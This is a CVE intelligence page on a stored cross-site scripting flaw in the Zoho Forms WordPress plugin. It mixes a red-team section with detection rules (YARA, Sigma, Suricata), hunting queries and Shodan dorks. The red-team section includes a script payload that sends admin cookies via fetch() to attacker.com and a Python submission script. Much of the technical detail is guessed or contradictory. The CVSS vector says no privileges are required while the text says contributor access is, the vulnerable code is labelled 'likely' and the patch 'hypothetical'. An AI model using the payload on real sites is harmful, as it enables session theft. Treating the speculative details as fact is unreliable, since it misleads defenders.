☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zoho logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-47633

CVE-2024-47633 Cross-Site Scripting in Zoho
📅 PUBLISHED: 2024-10-05 13:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-47633 is a Stored Cross-Site Scripting (XSS) vulnerability in the Zoho Forms plugin for WordPress, affecting versions up to and including 4.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into form submissions. When an administrator views the submitted data, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 6.5 reflects a medium severity due to the requirement for user interaction and low privileges, but the impact is amplified in multi-tenant or high-traffic WordPress environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Zoho Forms WordPress plugin, distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking the SHA-256 hash against the official release. No known supply chain compromise has been reported, but the lack of a patch from Zoho increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Attacker needs only contributor-level access.
  • User Interaction (UI): Required (R) – Victim (admin) must view the malicious form entry.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for user interaction and low privileges reduces the immediate risk, but the stored nature of the XSS makes it persistent and difficult to detect without proper monitoring.

Deep Dive & Mechanics

The Zoho Forms plugin allows users to create and manage forms. The vulnerability exists in the form submission handling logic, where user-supplied data (e.g., text fields, textareas) is not properly sanitized before being stored in the WordPress database. When an administrator views the "Form Entries" page, the plugin retrieves and renders the stored data without escaping HTML entities. An attacker with contributor-level access can submit a form containing a payload like:

<script>alert('XSS')</script>

This payload is stored and executed when the admin loads the entries page. The attack flow is:

  1. Attacker logs in as a contributor.
  2. Attacker submits a form with a malicious payload in a text field.
  3. Admin navigates to the form entries page.
  4. The payload executes in the admin's browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Zoho Forms <= 4.0): The plugin likely uses echo or print to output form data without escaping. Example:

// vulnerable: no escaping
echo '<td>' . $entry_data['field_value'] . '</td>';

Patched Code (Hypothetical): A patch would use WordPress's escaping functions:

// patched: proper escaping
echo '<td>' . esc_html( $entry_data['field_value'] ) . '</td>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress instance with Zoho Forms <= 4.0 installed.
  • Contributor-level account credentials.

Steps:

  1. Log in as a contributor.
  2. Navigate to a form and submit a payload in a text field:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Wait for an admin to view the form entries.
  4. The admin's cookie is exfiltrated to the attacker's server.

Automated Exploit (Python):

import requests

target_url = "http://target.com/wp-admin/admin-ajax.php"
payload = "<script>alert('XSS')</script>"

data = {
    "action": "zoho_forms_submit",
    "form_id": "1",
    "field_1": payload
}

session = requests.Session()
session.auth = ("contributor", "password")
response = session.post(target_url, data=data)
print("Payload submitted:", response.status_code)

Blue Team (Defensive)

Detection:

  • Monitor for form submissions containing <script>, <img onerror>, or other HTML event handlers.
  • Use WAF rules to block common XSS patterns in form fields.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search WordPress database for stored XSS payloads:
    SELECT * FROM wp_zoho_forms_entries WHERE field_value LIKE '%<script>%';
    
  • Review server logs for unusual form submissions from contributor accounts.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from admin browsers.
  • Host: Presence of <script> tags in wp_zoho_forms_entries table.
  • File: Modified plugin files (check file integrity via checksums).
  • Log: Repeated form submissions from the same contributor account with unusual payloads.

Detection Engineering

YARA Rule

rule CVE_2024_47633_Zoho_Forms_XSS {
    meta:
        description = "Detects stored XSS payloads in Zoho Forms submissions"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-47633"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/si
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Zoho Forms Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Zoho Forms plugin submissions
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: wp_zoho_forms_submit
        field_value|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47633 Zoho Forms Stored XSS Attempt"; flow:to_server; content:"action=zoho_forms_submit"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Zoho Forms plugin until a patch is available.
  2. Restrict contributor-level accounts to trusted users only.
  3. Implement a Web Application Firewall (WAF) with XSS rules.

Long-term Fix:

  • Apply the official patch from Zoho when released.
  • Upgrade to a patched version (currently unknown).
  • Conduct a security audit of all WordPress plugins.

Workaround:

  • Add custom escaping in the plugin's template files (if feasible):
    add_filter('zoho_forms_display_entry', 'esc_html');
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Zoho Forms"
http.html:"zoho-forms"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-47633/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.